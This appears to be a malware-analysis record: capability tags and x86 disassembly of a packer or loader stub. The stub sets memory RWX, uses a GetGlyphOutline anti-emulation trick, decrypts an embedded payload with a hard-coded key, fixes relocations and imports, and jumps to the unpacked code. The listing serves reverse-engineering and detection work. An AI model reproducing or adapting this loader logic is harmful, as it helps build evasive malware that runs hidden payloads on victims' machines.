Function at 0x401070
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
push esi
push edi
push ecx
sub edx, 0x51
sub esi, 0x8c
sub edi, 0xdf
sub eax, eax
mov eax, 0x55
mov edx, 8
shr eax, 1
mov dword [ebp - 0x10], eax
add ecx, dword [ebp - 0x10]
sub edx, 1
jne 0x401095
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.kernel32.dll
call edi
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.VirtualProtect
push eax
call esi
mov ebx, eax
mov ecx, 0x36f
mov edx, 0xd
lea esp, [esp]
sub ecx, 4
mov dword [ebp - 0xc], ecx
je 0x4010dd
xor ecx, ecx
mov dword [ebp - 0xc], ecx
mov eax, dword [ebp - 0xc]
sub edx, 1
jne 0x4010d0
sub eax, eax
sub edx, 0xb9
push str.gdi32.dll
call edi
push str.GetGlyphOutline
push eax
call esi
mov esi, eax
mov ecx, 0x2d8
mov edx, 0xb
add ecx, 4
mov dword [ebp - 0xc], ecx
jne 0x401118
mov ecx, 6
mov dword [ebp - 0xc], ecx
or eax, dword [ebp - 0xc]
sub edx, 1
jne 0x401108
push edx
push edx
push edx
push edx
push edx
push edx
push edx
call esi
test eax, eax
jne 0x40112f
call eax
mov dword [0x40ff5c], entry0
sub esi, 0xa6
sub eax, 0x21
mov word [0x40ff5c], 0
mov eax, dword [0x40ff5c]
mov esi, dword [eax + 0x3c]
mov edx, dword [esi + eax + 0x50]
lea ecx, [ebp - 4]
push ecx
add esi, eax
push 0x40
push edx
push eax
call ebx
mov eax, dword [esi + 0x50]
push 0x40
push 0x1000
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, dword [esi + 0x50]
test esi, esi
mov edi, eax
mov eax, dword [0x40ff5c]
mov dword [ebp - 0xc], edi
je 0x40119f
mov ecx, edi
sub ecx, eax
jmp 0x401190
mov dl, byte [eax]
sub esi, 1
mov byte [ecx + eax], dl
add eax, 1
test esi, esi
jne 0x401190
mov ebx, edi
mov eax, 0x53be28f4
cmp dword [ebx], 0x54a66e5b
jne 0x4011b3
cmp dword [ebx + 4], eax
je 0x4011b8
add ebx, 1
jmp 0x4011a6
mov dword [ebp - 8], ebx
mov dword [ebp - 0x24], 0x56363a5e
mov dword [ebp - 0x20], 0x471e3c66
mov dword [ebp - 0x1c], 0x592f6fcc
mov dword [ebp - 0x18], 0x335578f1
mov esi, ebx
mov edi, 0x96
mov edi, edi
lea eax, [ebp - 0x24]
push esi
push eax
call fcn.004013e0
add esp, 8
add esi, 8
sub edi, 1
jne 0x4011e0
mov eax, 0x19f
lea edx, [edi + 0xb]
lea ecx, [ecx]
lea eax, [eax + eax*2]
add eax, eax
mov dword [ebp - 0x10], eax
or ecx, dword [ebp - 0x10]
sub edx, 1
jne 0x401200
mov ecx, dword [0x40ff5c]
xor eax, eax
jmp 0x401220
cmp dword [eax + ebx], 0x11002200
jne 0x40122c
mov dword [eax + ebx], ecx
cmp dword [eax + ebx], 0x11002233
jne 0x40123b
mov edx, dword [ebp - 0xc]
mov dword [eax + ebx], edx
add eax, 1
cmp eax, 0x4b0
jb 0x401220
lea eax, [ebx + 0x350]
mov dword [0x40ff58], eax
lea ecx, [ebx + 0x460]
mov dword [ebp - 0xc], 0
mov edx, 0xc8
mov esi, 0xc
shr edx, 3
mov dword [ebp - 0x10], edx
add eax, dword [ebp - 0x10]
sub esi, 1
jne 0x401267
mov eax, dword [ecx + 4]
sub eax, 8
shr eax, 1
test eax, eax
lea edx, [ecx + 8]
jle 0x4012c6
mov esi, eax
jmp 0x401290
movzx eax, word [edx]
mov edi, eax
and edi, 0xf000
cmp edi, 0x3000
jne 0x4012be
and eax, 0xfff
add eax, dword [ecx]
lea edi, [ebx - 0x10000270]
add dword [eax + ebx - 0x270], edi
lea eax, [eax + ebx - 0x270]
add edx, 2
sub esi, 1
jne 0x401290
mov eax, dword [ecx + 4]
mov edx, dword [ebp - 0xc]
add edx, eax
add ecx, eax
cmp edx, 0x44
mov dword [ebp - 0xc], edx
jb 0x401275
mov eax, 0x3c5
mov edx, 7
add eax, 8
mov dword [ebp - 0xc], eax
jne 0x4012f2
mov eax, 4
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0xc]
sub edx, 1
jne 0x4012e2
cmp dword [ebx + 0x3f8], edx
lea esi, [ebx + 0x3e8]
mov dword [ebp - 0xc], esi
je 0x4013c3
nop
mov ecx, dword [esi + 0xc]
lea edx, [ecx + ebx - 0x270]
push edx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edx, eax
test edx, edx
mov dword [ebp - 0x14], edx
je 0x4013b3
mov eax, dword [esi]
test eax, eax
jne 0x401337
mov eax, dword [esi + 0x10]
mov esi, dword [esi + 0x10]
lea ecx, [ebx - 0x270]
lea edi, [eax + ecx]
mov eax, dword [edi]
add esi, ecx
test eax, eax
je 0x4013b0
jmp 0x401353
mov edx, dword [ebp - 0x14]
test eax, eax
jns 0x40135d
movzx eax, word [edi]
push eax
jmp 0x401368
lea ecx, [ebx - 0x270]
lea ecx, [eax + ecx + 2]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [esi], eax
mov ecx, 0x18b
mov ebx, 0x12
jmp 0x401380
mov eax, 0xaaaaaaab
mul ecx
shr edx, 1
mov ecx, edx
mov dword [ebp - 0x10], ecx
jne 0x401398
mov ecx, 2
mov dword [ebp - 0x10], ecx
xor eax, dword [ebp - 0x10]
sub ebx, 1
jne 0x401380
mov eax, dword [edi + 4]
mov ebx, dword [ebp - 8]
add edi, 4
add esi, 4
test eax, eax
jne 0x401350
mov esi, dword [ebp - 0xc]
add esi, 0x14
cmp dword [esi + 0x10], 0
mov dword [ebp - 0xc], esi
jne 0x401310
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
add eax, 0x39f2b53c
sub eax, 0x730c141a
jmp dword [0x40ff58]